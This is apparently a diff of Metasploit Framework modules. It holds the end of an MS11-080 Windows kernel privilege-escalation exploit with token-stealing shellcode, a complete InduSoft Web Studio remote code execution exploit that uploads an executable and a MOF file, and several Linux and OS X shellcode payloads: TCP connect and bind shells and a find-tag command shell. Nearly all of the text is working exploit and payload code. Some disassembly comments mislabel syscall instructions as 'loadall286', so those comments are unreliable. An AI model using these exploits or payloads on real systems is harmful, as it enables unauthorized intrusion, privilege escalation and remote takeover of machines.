'_APLINKS' => "\x98"
|
||||
}
|
||||
],
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2011-2005' ],
|
||||
[ 'MSB', 'MS11-080' ],
|
||||
[ 'EDB', 18176 ],
|
||||
[ 'URL', 'http://www.offensive-security.com/vulndev/ms11-080-voyage-into-ring-zero/' ]
|
||||
],
|
||||
'DisclosureDate'=> 'Nov 30 2011',
|
||||
'DefaultTarget' => 0
|
||||
}))
|
||||
|
||||
register_options([
|
||||
])
|
||||
|
||||
end
|
||||
|
||||
def find_sys_base(drvname)
|
||||
session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
|
||||
session.railgun.add_function('psapi', 'EnumDeviceDrivers', 'BOOL', [ ["PBLOB", "lpImageBase", "out"], ["DWORD", "cb", "in"], ["PDWORD", "lpcbNeeded", "out"]])
|
||||
session.railgun.add_function('psapi', 'GetDeviceDriverBaseNameA', 'DWORD', [ ["LPVOID", "ImageBase", "in"], ["PBLOB", "lpBaseName", "out"], ["DWORD", "nSize", "in"]])
|
||||
results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
|
||||
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*")
|
||||
|
||||
addresses.each do |address|
|
||||
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
|
||||
current_drvname = results['lpBaseName'][0..results['return'] - 1]
|
||||
if drvname == nil
|
||||
if current_drvname.downcase.include?('krnl')
|
||||
return [address, current_drvname]
|
||||
end
|
||||
elsif drvname == results['lpBaseName'][0..results['return'] - 1]
|
||||
return [address, current_drvname]
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Function borrowed from smart_hashdump
|
||||
def get_system_proc
|
||||
# Make sure you got the correct SYSTEM Account Name no matter the OS Language
|
||||
local_sys = resolve_sid("S-1-5-18")
|
||||
system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}"
|
||||
|
||||
# Processes that can Blue Screen a host if migrated in to
|
||||
dangerous_processes = ["lsass.exe", "csrss.exe", "smss.exe"]
|
||||
session.sys.process.processes.each do |p|
|
||||
# Check we are not migrating to a process that can BSOD the host
|
||||
next if dangerous_processes.include?(p["name"])
|
||||
next if p["pid"] == session.sys.process.getpid
|
||||
next if p["pid"] == 4
|
||||
next if p["user"] != system_account_name
|
||||
return p
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
if sysinfo["Architecture"] =~ /wow64/i
|
||||
print_error("Running against WOW64 is not supported")
|
||||
return
|
||||
elsif sysinfo["Architectore"] =~ /x64/
|
||||
print_error("Running against 64-bit systems is not supported")
|
||||
return
|
||||
end
|
||||
|
||||
mytarget = target
|
||||
if mytarget.name =~ /Automatic/
|
||||
os = sysinfo["OS"]
|
||||
if os =~ /windows xp/i
|
||||
mytarget = targets[1]
|
||||
end
|
||||
if ((os =~ /2003/) and (os =~ /service pack 2/i))
|
||||
mytarget = targets[2]
|
||||
end
|
||||
if ((os =~ /\.net server/i) and (os =~ /service pack 2/i))
|
||||
mytarget = targets[2]
|
||||
end
|
||||
|
||||
if mytarget.name =~ /Automatic/
|
||||
print_error("Could not identify the target system, it may not be supported")
|
||||
return
|
||||
end
|
||||
print_status("Running against #{mytarget.name}")
|
||||
end
|
||||
|
||||
if is_system?
|
||||
print_error("This meterpreter session is already running as SYSTEM")
|
||||
return
|
||||
end
|
||||
|
||||
this_proc = session.sys.process.open
|
||||
kernel_info = find_sys_base(nil)
|
||||
base_addr = 0x1001
|
||||
print_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}")
|
||||
|
||||
result = session.railgun.ws2_32.WSASocketA("AF_INET", "SOCK_STREAM", "IPPROTO_TCP", nil, nil, 0)
|
||||
socket = result['return']
|
||||
|
||||
irpstuff = rand_text_alpha(8)
|
||||
irpstuff << "\x00\x00\x00\x00"
|
||||
irpstuff << rand_text_alpha(4)
|
||||
irpstuff << "\x01\x00\x00\x00"
|
||||
irpstuff << "\xe8\x00" + "4" + "\xf0\x00"
|
||||
irpstuff << rand_text_alpha(231)
|
||||
|
||||
if not this_proc.memory.writable?(0x1000)
|
||||
session.railgun.add_function(
|
||||
'ntdll',
|
||||
'NtAllocateVirtualMemory',
|
||||
'DWORD',
|
||||
[
|
||||
["DWORD", "ProcessHandle", "in"],
|
||||
["PBLOB", "BaseAddress", "inout"],
|
||||
["PDWORD", "ZeroBits", "in"],
|
||||
["PBLOB", "RegionSize", "inout"],
|
||||
["DWORD", "AllocationType", "in"],
|
||||
["DWORD", "Protect", "in"]
|
||||
])
|
||||
|
||||
result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ base_addr ].pack("L"), nil, [ 0x1000 ].pack("L"), "MEM_COMMIT | MEM_RESERVE", "PAGE_EXECUTE_READWRITE")
|
||||
end
|
||||
if not this_proc.memory.writable?(0x1000)
|
||||
print_error('Failed to properly allocate memory')
|
||||
return
|
||||
end
|
||||
this_proc.memory.write(0x1000, irpstuff)
|
||||
|
||||
hKernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
|
||||
hKernel = hKernel['return']
|
||||
halDispatchTable = session.railgun.kernel32.GetProcAddress(hKernel, "HalDispatchTable")
|
||||
halDispatchTable = halDispatchTable['return']
|
||||
halDispatchTable -= hKernel
|
||||
halDispatchTable += kernel_info[0]
|
||||
print_status("HalDisPatchTable Address: 0x#{halDispatchTable.to_s(16)}")
|
||||
|
||||
halbase = find_sys_base("hal.dll")[0]
|
||||
haliQuerySystemInformation = halbase + mytarget['HaliQuerySystemInfo']
|
||||
halpSetSystemInformation = halbase + mytarget['HalpSetSystemInformation']
|
||||
print_status("HaliQuerySystemInformation Address: 0x#{haliQuerySystemInformation.to_s(16)}")
|
||||
print_status("HalpSetSystemInformation Address: 0x#{halpSetSystemInformation.to_s(16)}")
|
||||
|
||||
#### Exploitation ####
|
||||
shellcode_address_dep = 0x0002071e
|
||||
shellcode_address_nodep = 0x000207b8
|
||||
padding = make_nops(2)
|
||||
halDispatchTable0x4 = halDispatchTable + 0x4
|
||||
halDispatchTable0x8 = halDispatchTable + 0x8
|
||||
|
||||
restore_ptrs = "\x31\xc0"
|
||||
restore_ptrs << "\xb8" + [ halpSetSystemInformation ].pack("L")
|
||||
restore_ptrs << "\xa3" + [ halDispatchTable0x8 ].pack("L")
|
||||
restore_ptrs << "\xb8" + [ haliQuerySystemInformation ].pack("L")
|
||||
restore_ptrs << "\xa3" + [ halDispatchTable0x4 ].pack("L")
|
||||
|
||||
tokenstealing = "\x52"
|
||||
tokenstealing << "\x53"
|
||||
tokenstealing << "\x33\xc0"
|
||||
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00"
|
||||
tokenstealing << "\x8b\x40" + mytarget['_KPROCESS']
|
||||
tokenstealing << "\x8b\xc8"
|
||||
tokenstealing << "\x8b\x98" + mytarget['_TOKEN'] + "\x00\x00\x00"
|
||||
tokenstealing << "\x89\x1d\x00\x09\x02\x00"
|
||||
tokenstealing << "\x8b\x80" + mytarget['_APLINKS'] + "\x00\x00\x00"
|
||||
tokenstealing << "\x81\xe8" + mytarget['_APLINKS'] + "\x00\x00\x00"
|
||||
tokenstealing << "\x81\xb8" + mytarget['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00"
|
||||
tokenstealing << "\x75\xe8"
|
||||
tokenstealing << "\x8b\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
|
||||
tokenstealing << "\x8b\xc1"
|
||||
tokenstealing << "\x89\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
|
||||
tokenstealing << "\x5b"
|
||||
tokenstealing << "\x5a"
|
||||
tokenstealing << "\xc2\x10"
|
||||
|
||||
restore_token = "\x52"
|
||||
restore_token << "\x33\xc0"
|
||||
restore_token << "\x64\x8b\x80\x24\x01\x00\x00"
|
||||
restore_token << "\x8b\x40" + mytarget['_KPROCESS']
|
||||
restore_token << "\x8b\x15\x00\x09\x02\x00"
|
||||
restore_token << "\x89\x90" + mytarget['_TOKEN'] + "\x00\x00\x00"
|
||||
restore_token << "\x5a"
|
||||
restore_token << "\xc2\x10"
|
||||
|
||||
shellcode = padding + restore_ptrs + tokenstealing
|
||||
|
||||
this_proc.memory.write(shellcode_address_dep, shellcode)
|
||||
this_proc.memory.write(shellcode_address_nodep, shellcode)
|
||||
this_proc.memory.protect(0x00020000)
|
||||
|
||||
addr = [ 2, 4455, 0x7f000001, 0, 0 ].pack("s!S!L!L!L!")
|
||||
result = session.railgun.ws2_32.connect(socket, addr, addr.length)
|
||||
if result['return'] != 0xffffffff
|
||||
print_error("The socket is not in the correct state")
|
||||
return
|
||||
end
|
||||
|
||||
session.railgun.add_function(
|
||||
'ntdll',
|
||||
'NtDeviceIoControlFile',
|
||||
'DWORD',
|
||||
[
|
||||
[ "DWORD", "FileHandle", "in" ],
|
||||
[ "DWORD", "Event", "in" ],
|
||||
[ "DWORD", "ApcRoutine", "in" ],
|
||||
[ "DWORD", "ApcContext", "in" ],
|
||||
[ "PDWORD", "IoStatusBlock", "out" ],
|
||||
[ "DWORD", "IoControlCode", "in" ],
|
||||
[ "LPVOID", "InputBuffer", "in" ],
|
||||
[ "DWORD", "InputBufferLength", "in" ],
|
||||
[ "LPVOID", "OutputBuffer", "in" ],
|
||||
[ "DWORD", "OutPutBufferLength", "in" ]
|
||||
])
|
||||
|
||||
session.railgun.add_function(
|
||||
'ntdll',
|
||||
'NtQueryIntervalProfile',
|
||||
'DWORD',
|
||||
[
|
||||
[ "DWORD", "ProfileSource", "in" ], [ "PDWORD", "Interval", "out" ]
|
||||
])
|
||||
|
||||
print_status("Triggering AFDJoinLeaf pointer overwrite...")
|
||||
result = session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, halDispatchTable0x4 + 0x1, 0)
|
||||
result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
|
||||
|
||||
if not is_system?
|
||||
print_error("Exploit failed")
|
||||
return
|
||||
end
|
||||
|
||||
begin
|
||||
proc = get_system_proc
|
||||
print_status("Injecting the payload into SYSTEM process: #{proc["name"]} PID: #{proc["pid"]}")
|
||||
host_process = client.sys.process.open(proc["pid"], PROCESS_ALL_ACCESS)
|
||||
mem = host_process.memory.allocate(payload.encoded.length + (payload.encoded.length % 1024))
|
||||
|
||||
print_status("Writing #{payload.encoded.length} bytes at address #{"0x%.8x" % mem}")
|
||||
host_process.memory.write(mem, payload.encoded)
|
||||
host_process.thread.create(mem, 0)
|
||||
rescue ::Exception => e
|
||||
print_error("Failed to Inject Payload")
|
||||
print_error(e.to_s)
|
||||
end
|
||||
|
||||
# Restore the token because apparently BSODs are frowned upon
|
||||
print_status("Restoring the original token...")
|
||||
shellcode = padding + restore_ptrs + restore_token
|
||||
this_proc.memory.write(shellcode_address_dep, shellcode)
|
||||
this_proc.memory.write(shellcode_address_nodep, shellcode)
|
||||
|
||||
result = session.railgun.ntdll.NtDeviceIoControlFile(socket, 0, 0, 0, 4, 0x000120bb, 0x1004, 0x108, halDispatchTable0x4 + 0x1, 0)
|
||||
result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,196 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::WbemExec
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'InduSoft Web Studio Arbitrary Upload Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a lack of authentication and authorization on the InduSoft
|
||||
Web Studio Remote Agent, that allows a remote attacker to write arbitrary files to
|
||||
the filesystem, by abusing the functions provided by the software.
|
||||
|
||||
The module uses uses the Windows Management Instrumentation service to execute an
|
||||
arbitrary payload on vulnerable installations of InduSoft Web Studio on Windows pre
|
||||
Vista. It has been successfully tested on InduSoft Web Studio 6.1 SP6 over Windows
|
||||
XP SP3 and Windows 2003 SP2.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Luigi Auriemma', # Vulnerability Discovery
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2011-4051' ],
|
||||
[ 'OSVDB', '77179' ],
|
||||
[ 'BID', '50675' ],
|
||||
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-330' ]
|
||||
],
|
||||
'Privileged' => true,
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "",
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows XP / 2003', { } ],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Nov 04 2011'))
|
||||
|
||||
register_options([Opt::RPORT(4322)], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
connect
|
||||
|
||||
# Get Application version
|
||||
data = [0x14].pack("C")
|
||||
sock.put(data)
|
||||
app_info = sock.get_once
|
||||
disconnect
|
||||
|
||||
if app_info =~ /InduSoft Web Studio v6\.1/
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
elsif app_info =~ /InduSoft Web Studio/
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
|
||||
end
|
||||
|
||||
def upload_file(filename, my_payload)
|
||||
connect
|
||||
|
||||
# Get Application version
|
||||
data = [0x14].pack("C")
|
||||
sock.put(data)
|
||||
app_info = sock.get_once
|
||||
if app_info !~ /InduSoft Web Studio/
|
||||
print_error("#{@peer} - InduSoft Web Sutio hasn't been detected, trying to exploit anyway...")
|
||||
end
|
||||
|
||||
# Get Operating System
|
||||
data = [0x13].pack("C")
|
||||
sock.put(data)
|
||||
os_info = sock.get_once
|
||||
if os_info !~ /WINXP/ and os_info !~ /WIN2K3/
|
||||
print_error("#{@peer} - Exploitation through Windows Management Instrumentation service only works on windows pre-vista system, trying to exploit anyway...")
|
||||
end
|
||||
|
||||
# Upload file
|
||||
|
||||
data = "\x02\x37" # Command => Select destination
|
||||
data << [my_payload.length].pack("V") # Data length
|
||||
data << "#{filename}" # File name to upload
|
||||
data << "\x09\x00\x30\x00\x00\x00"
|
||||
data << "\x10\x03" # End of packet
|
||||
|
||||
# The data must be split on 1024 length chunks
|
||||
offset = 0 # Data to send
|
||||
count = 1 # Number of chunks sent
|
||||
groups = 0 # Data must be sent in groups of 50 chunks
|
||||
|
||||
chunk = my_payload[offset, 1024]
|
||||
|
||||
while not chunk.nil?
|
||||
|
||||
# If there is a group of chunks, send it
|
||||
if count % 51 == 0
|
||||
|
||||
data << "\x02\x2c" # Command => Send group of chunks
|
||||
my_count = [count].pack("V") # Number of chunks
|
||||
data << my_count.gsub(/\x10/, "\x10\x10")
|
||||
data << "\x10\x03" # End of packet
|
||||
|
||||
sock.put(data)
|
||||
res = sock.get_once
|
||||
if res !~ /\x02\x06\x10\x03/
|
||||
return res
|
||||
end
|
||||
|
||||
count = count + 1
|
||||
groups = groups + 1
|
||||
data = ""
|
||||
|
||||
end
|
||||
|
||||
pkt = [ 0x02, 0x2e ].pack("C*") # Command => Chunk Data
|
||||
my_count = [count].pack("V")
|
||||
pkt << my_count.gsub(/\x10/, "\x10\x10") # Chunk ID
|
||||
pkt << [chunk.length].pack("V").gsub(/\x10/, "\x10\x10") # Chunk Data length
|
||||
pkt << chunk.gsub(/\x10/, "\x10\x10") # Chunk Data
|
||||
pkt << "\x10\x03" # End of packet
|
||||
|
||||
data << pkt
|
||||
offset = (count - groups) * 1024
|
||||
chunk = my_payload[offset, 1024]
|
||||
count = count + 1
|
||||
end
|
||||
|
||||
pkt = [ 0x02, 0x03].pack("C*") # Command => End of File
|
||||
my_count = [count].pack("V")
|
||||
pkt << my_count.gsub(/\x10/, "\x10\x10") # Chunk ID
|
||||
pkt << rand_text_alpha(8) # LastWriteTime
|
||||
pkt << rand_text_alpha(8) # LastAccessTime
|
||||
pkt << rand_text_alpha(8) # CreationTime
|
||||
pkt << "\x20\x00\x00\x00" # FileAttributes => FILE_ATTRIBUTE_ARCHIVE (0x20)
|
||||
pkt << rand_text_alpha(1)
|
||||
pkt << "\x10\x03" # End of packet
|
||||
data << pkt
|
||||
|
||||
sock.put(data)
|
||||
res = sock.get_once
|
||||
disconnect
|
||||
|
||||
return res
|
||||
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
@peer = "#{rhost}:#{rport}"
|
||||
|
||||
exe = generate_payload_exe
|
||||
exe_name = rand_text_alpha(rand(10)+5) + '.exe'
|
||||
|
||||
mof_name = rand_text_alpha(rand(10)+5) + '.mof'
|
||||
mof = generate_mof(mof_name, exe_name)
|
||||
|
||||
print_status("#{@peer} - Uploading the exe payload to C:\\WINDOWS\\system32\\#{exe_name}")
|
||||
res = upload_file("C:\\WINDOWS\\system32\\#{exe_name}", exe)
|
||||
if res =~ /\x02\x06\x10\x03/
|
||||
print_good "#{@peer} - The exe payload has been uploaded successfully"
|
||||
else
|
||||
print_error "#{@peer} - Error uploading the exe payload"
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{@peer} - Uploading the mof file to c:\\WINDOWS\\system32\\wbem\\mof\\#{mof_name}")
|
||||
res = upload_file("c:\\WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
|
||||
if res =~ /\x02\x06\x10\x03/
|
||||
print_good "#{@peer} - The mof file has been uploaded successfully"
|
||||
else
|
||||
print_error "#{@peer} - Error uploading the mof file"
|
||||
return
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -35,47 +35,44 @@ module Metasploit3
|
|||
{
|
||||
'Offsets' =>
|
||||
{
|
||||
'LHOST' => [ 18, 'ADDR' ],
|
||||
'LPORT' => [ 24, 'n' ],
|
||||
'LHOST' => [ 25, 'ADDR' ],
|
||||
'LPORT' => [ 32, 'n' ],
|
||||
},
|
||||
'Payload' =>
|
||||
"\x31\xdb" +# xorl %ebx,%ebx #
|
||||
"\xf7\xe3" +# mull %ebx #
|
||||
"\x53" +# pushl %ebx #
|
||||
"\x43" +# incl %ebx #
|
||||
"\x53" +# pushl %ebx #
|
||||
"\x6a\x02" +# pushl $0x02 #
|
||||
"\x89\xe1" +# movl %esp,%ecx #
|
||||
"\xb0\x66" +# movb $0x66,%al #
|
||||
"\xcd\x80" +# int $0x80 #
|
||||
"\x5b" +# popl %ebx #
|
||||
"\x5e" +# popl %esi #
|
||||
"\x68\x7f\x00\x00\x01" +# pushl $0x0100007f #
|
||||
"\x66\x68\x04\xd2" +# pushw $0xd204 #
|
||||
"\x66\x53" +# pushw %bx #
|
||||
"\x6a\x10" +# pushl $0x10 #
|
||||
"\x51" +# pushl %ecx #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x89\xe1" +# movl %esp,%ecx #
|
||||
"\x43" +# incl %ebx #
|
||||
"\x6a\x66" +# pushl $0x66 #
|
||||
"\x58" +# popl %eax #
|
||||
"\xcd\x80" +# int $0x80 #
|
||||
"\x59" +# popl %ecx #
|
||||
"\x87\xd9" +# xchgl %ebx,%ecx #
|
||||
"\xb0\x3f" +# movb $0x3f,%al #
|
||||
"\xcd\x80" +# int $0x80 #
|
||||
"\x49" +# decl %ecx #
|
||||
"\x79\xf9" +# jns <cntsockcode+43> #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x68\x2f\x2f\x73\x68" +# pushl $0x68732f2f #
|
||||
"\x68\x2f\x62\x69\x6e" +# pushl $0x6e69622f #
|
||||
"\x89\xe3" +# movl %esp,%ebx #
|
||||
"\x50" +# pushl %eax #
|
||||
"\x53" +# pushl %ebx #
|
||||
"\x89\xe1" +# movl %esp,%ecx #
|
||||
"\xb0\x0b" +# movb $0x0b,%al #
|
||||
"\xcd\x80" # int $0x80 #
|
||||
"\x31\xdb" +# xor ebx,ebx
|
||||
"\xf7\xe3" +# mul ebx
|
||||
"\x53" +# push ebx
|
||||
"\x43" +# inc ebx
|
||||
"\x53" +# push ebx
|
||||
"\x6a\x02" +# push byte +0x2
|
||||
"\x89\xe1" +# mov ecx,esp
|
||||
"\xb0\x66" +# mov al,0x66
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\x93" +# xchg eax,ebx
|
||||
"\x59" +# pop ecx
|
||||
"\xb0\x3f" +# mov al,0x3f
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\x49" +# dec ecx
|
||||
"\x79\xf9" +# jns 0x11
|
||||
"\x68\x7f\x00\x00\x01" +# push dword 0x100007f
|
||||
"\x68\x02\x00\xbf\xbf" +# push dword 0xbfbf0002
|
||||
"\x89\xe1" +# mov ecx,esp
|
||||
"\xb0\x66" +# mov al,0x66
|
||||
"\x50" +# push eax
|
||||
"\x51" +# push ecx
|
||||
"\x53" +# push ebx
|
||||
"\xb3\x03" +# mov bl,0x3
|
||||
"\x89\xe1" +# mov ecx,esp
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\x52" +# push edx
|
||||
"\x68\x2f\x2f\x73\x68" +# push dword 0x68732f2f
|
||||
"\x68\x2f\x62\x69\x6e" +# push dword 0x6e69622f
|
||||
"\x89\xe3" +# mov ebx,esp
|
||||
"\x52" +# push edx
|
||||
"\x53" +# push ebx
|
||||
"\x89\xe1" +# mov ecx,esp
|
||||
"\xb0\x0b" +# mov al,0xb
|
||||
"\xcd\x80" # int 0x80
|
||||
}
|
||||
))
|
||||
end
|
||||
|
|
|
@ -0,0 +1,53 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Single
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'OSX X64 say Shellcode',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Say an arbitrary string outloud using Mac OS X text2speech',
|
||||
'Author' => 'nemo <nemo[at]felinemenace.org>',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_X86_64
|
||||
))
|
||||
|
||||
# exec payload options
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TEXT', [ true, "The text to say", "Hello\!"]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
# build the shellcode payload dynamically based on the user-provided CMD
|
||||
def generate
|
||||
say = (datastore['TEXT'] || '') << "\x00"
|
||||
call = "\xe8" + [say.length + 0xd].pack('V')
|
||||
|
||||
payload =
|
||||
"\x48\x31\xC0" + # xor rax,rax
|
||||
"\xB8\x3B\x00\x00\x02" + # mov eax,0x200003b
|
||||
call +
|
||||
"/usr/bin/say\x00" +
|
||||
say +
|
||||
"\x48\x8B\x3C\x24" + # mov rdi,[rsp]
|
||||
"\x4C\x8D\x57\x0D" + # lea r10,[rdi+0xd]
|
||||
"\x48\x31\xD2" + # xor rdx,rdx
|
||||
"\x52" + # push rdx
|
||||
"\x41\x52" + # push r10
|
||||
"\x57" + # push rdi
|
||||
"\x48\x89\xE6" + # mov rsi,rsp
|
||||
"\x0F\x05" # loadall286
|
||||
end
|
||||
end
|
|
@ -7,6 +7,7 @@
|
|||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
|
|
|
@ -0,0 +1,84 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/find_tag'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Single
|
||||
include Msf::Payload::Osx
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'OSX Command Shell, Find Tag Inline',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Spawn a shell on an established connection (proxy/nat safe)',
|
||||
'Author' => 'nemo <nemo[at]felinemenace.org>',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_X86_64,
|
||||
'Handler' => Msf::Handler::FindTag,
|
||||
'Session' => Msf::Sessions::CommandShellUnix
|
||||
|
||||
))
|
||||
# exec payload options
|
||||
register_options(
|
||||
[
|
||||
OptString.new('CMD', [ true, "The command string to execute", "/bin/sh" ]),
|
||||
OptString.new('TAG', [ true, "The tag to test for", "NEMO" ]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
# ensures the setting of tag to a four byte value
|
||||
#
|
||||
def generate
|
||||
cmd = (datastore['CMD'] || '') << "\x00"
|
||||
call = "\xe8" + [cmd.length].pack('V')
|
||||
|
||||
payload =
|
||||
"\x48\x31\xFF" + # xor rdi,rdi
|
||||
"\x57" + # push rdi
|
||||
"\x48\x89\xE6" + # mov rsi,rsp
|
||||
"\x6A\x04" + # push byte +0x4
|
||||
"\x5A" + # pop rdx
|
||||
"\x48\x8D\x4A\xFE" + # lea rcx,[rdx-0x2]
|
||||
"\x4D\x31\xC0" + # xor r8,r8
|
||||
"\x4D\x31\xC9" + # xor r9,r9
|
||||
"\x48\xFF\xCF" + # dec rdi
|
||||
"\x48\xFF\xC7" + # inc rdi
|
||||
"\xB8\x1D\x00\x00\x02" + # mov eax,0x200001d
|
||||
"\x0F\x05" + # loadall286
|
||||
"\x81\x3C\x24" + # cmp dword [rsp],0x4e454d4f
|
||||
datastore['TAG'] +
|
||||
"\x75\xED" + # jnz 0x17
|
||||
"\x48\x31\xC9" + # xor rcx,rcx
|
||||
"\xB8\x1D\x00\x00\x02" + # mov eax,0x200001d
|
||||
"\x0F\x05" + # loadall286
|
||||
"\xB8\x5A\x00\x00\x02" + # mov eax,0x200005a
|
||||
"\x48\x31\xF6" + # xor rsi,rsi
|
||||
"\x0F\x05" + # loadall286
|
||||
"\xB8\x5A\x00\x00\x02" + # mov eax,0x200005a
|
||||
"\x48\xFF\xC6" + # inc rsi
|
||||
"\x0F\x05" + # loadall286
|
||||
"\x48\x31\xC0" + # xor rax,rax
|
||||
"\xB8\x3B\x00\x00\x02" + # mov eax,0x200003b
|
||||
call +
|
||||
cmd +
|
||||
"\x48\x8B\x3C\x24" + # mov rdi,[rsp]
|
||||
"\x48\x31\xD2" + # xor rdx,rdx
|
||||
"\x52" + # push rdx
|
||||
"\x57" + # push rdi
|
||||
"\x48\x89\xE6" + # mov rsi,rsp
|
||||
"\x0F\x05" # loadall286
|
||||
end
|
||||
|
||||
end
|
|
@ -7,6 +7,7 @@
|
|||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
|
|
|
@ -27,7 +27,10 @@ module Metasploit3
|
|||
'Name' => 'Bind TCP Stager (IPv6)',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Listen for a connection over IPv6',
|
||||
'Author' => 'kris katterjohn',
|
||||
'Author' => [
|
||||
'kris katterjohn', # original
|
||||
'egypt', # NX support
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86,
|
||||
|
@ -35,11 +38,54 @@ module Metasploit3
|
|||
'Stager' => {
|
||||
'Offsets' => { 'LPORT' => [ 0x18, 'n' ] },
|
||||
'Payload' =>
|
||||
"\x31\xdb\x53\x43\x53\x6a\x0a\x89\xe1\x6a\x66\x58\xcd\x80\x96" +
|
||||
"\x99\x52\x52\x52\x52\x52\x52\x66\x68\xbf\xbf\x66\x68\x0a\x00" +
|
||||
"\x89\xe1\x6a\x1c\x51\x56\x89\xe1\x43\x6a\x66\x58\xcd\x80\xb0" +
|
||||
"\x66\xb3\x04\xcd\x80\x52\x52\x56\x89\xe1\x43\xb0\x66\xcd\x80" +
|
||||
"\x93\xb6\x0c\xb0\x03\xcd\x80\x89\xdf\xff\xe1"
|
||||
|
||||
"\x6a\x7d" +# push byte +0x7d
|
||||
"\x58" +# pop eax
|
||||
"\x99" +# cdq
|
||||
"\xb2\x07" +# mov dl,0x7
|
||||
"\xb9\x00\x10\x00\x00" +# mov ecx,0x1000
|
||||
"\x89\xe3" +# mov ebx,esp
|
||||
"\x66\x81\xe3\x00\xf0" +# and bx,0xf000
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\x31\xdb" +# xor ebx,ebx
|
||||
"\xf7\xe3" +# mul ebx
|
||||
"\x53" +# push ebx
|
||||
"\x43" +# inc ebx
|
||||
"\x53" +# push ebx
|
||||
"\x6a\x0a" +# push byte +0xa
|
||||
"\x89\xe1" +# mov ecx,esp
|
||||
"\xb0\x66" +# mov al,0x66
|
||||
"\xcd\x80" +# int 0x80
|
||||
"\x43" +# inc ebx
|
||||
"\x52" +# push edx
|
||||
"\x52" +# push edx
|
||||
"\x52" +# push edx
|
||||
"\x52" +# push edx
|
||||
"\x52" +# push edx
|
||||
"\x52" +# push edx
